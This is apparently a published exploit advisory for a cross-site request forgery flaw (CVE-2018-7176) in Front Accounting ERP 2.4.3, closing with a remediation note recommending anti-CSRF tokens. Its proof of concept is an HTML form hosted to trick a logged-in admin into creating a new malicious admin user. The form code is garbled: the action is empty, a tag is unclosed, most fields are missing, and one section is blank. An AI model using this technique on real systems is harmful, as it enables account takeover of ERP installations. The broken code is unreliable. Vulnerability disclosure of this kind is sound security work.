Front Accounting ERP 2.4.3 Cross Site Request Forgery

Front Accounting ERP version 2.4.3 suffers from a cross site request forgery vulnerability.

MD5 | 5eca73a41e4dc3b255e98a0a8d11ad4c

aa# Exploit Title: Front Accounting ERP 2.4.3 - CSRF
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact:
# Website:
# Vendor Homepage:
# Version: 2.4.3
# CVE : CVE-2018-7176
# Category: WebApp ERP

1. Description

The application source code is coded in a way which allows malicious
crafted HTML page to be executed directly without any anti csrf

2. Proof of Concept

1. Visit the application
2. Visit the User Permissions Page.
3. Goto add user, and create a csrf crafted exploit for the same ,
upon hosting it on a server and sending the link to click by victim, it
gets exploited.

Proof of Concept

Steps to Reproduce:

1. Create an HTML Page with the below exploit code:

<form action="
method="POST" enctype="text/plain">
<input type="hidden" name="show_inactive"
<input type="submit" value="Submit request" />

2 This hosted page upon being clicked by an logged in admin user will lead
to creation of a new malicious admin user.

3 POCs and steps:

4. Solution:

Implement anti csrf token code in state changing http requests and validate
it at server side.

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